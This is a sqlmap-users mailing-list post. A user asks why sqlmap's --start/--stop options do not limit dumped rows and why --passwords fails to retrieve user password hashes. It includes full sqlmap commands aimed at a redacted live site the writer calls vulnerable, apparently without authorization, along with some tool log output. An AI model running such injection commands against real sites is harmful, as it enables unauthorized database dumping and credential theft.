[sqlmap-users] sqlmap --start and --stop command problem!

[<Bri...@gm...>]

Hello,

I tried to dump some infos from Tables using the optional options --start and --stop, but it always gives me out the first entry till the last of the Table and not as specified starting from the 2nd till the 4th.

The valnerable site is using MySQL >= 5.0.0 so there shouldnt be a problem with using information_schema.

...\sqlmap-0.7_exe\sqlmap.exe" -u "http://www.xxxxx.php?userid=x" --dump -T TABLES -D information_schema --start 2 --stop 4

I tried it also with other options like this one:

...\sqlmap-0.7_exe\sqlmap.exe" -u "http://www.xxxxx.php?userid=x" --tables -D information_schema --start 2 --stop 4

or with the syntax from the pdf README:
--start=
--stop=

...\sqlmap-0.7_exe\sqlmap.exe" -u "http://www.xxxxx.php?userid=x" --dump -T TABLES -D information_schema --start=2 --stop=4

or this one:
sqlmap-0.7_exe\sqlmap.exe" -u http://www.xxxxx.php?userid=x --dump -T TAB
LE_NAME --start=58 --stop=98

[00:52:38] [INFO] fetching number of columns for table 'TABLE_NAME' on database'xxx'
[00:52:38] [INFO] retrieved: 0
[00:52:55] [ERROR] unable to retrieve the number of columns for table 'TABLE_NAME' on database 'xxx'

Nothing worked i tried also when I only used --start and no --stop, I would be really glad if you can help me.

Another question I have is about the option --passwords

for example it gives me this error message:
when i tried the option --passwords together with -U option.

"[ERROR] unable to retrieve the password hashes for the database users"

Why does the program tries to dump it from the database "users", I never speciefied it to search on this database, does the program use it as standard DBS for the --password option and can I change it?

I would really appreciate to get any help on these questions.






-- 
NEU: Mit GMX DSL über 1000,- ¿ sparen!
http://portal.gmx.net/de/go/dsl02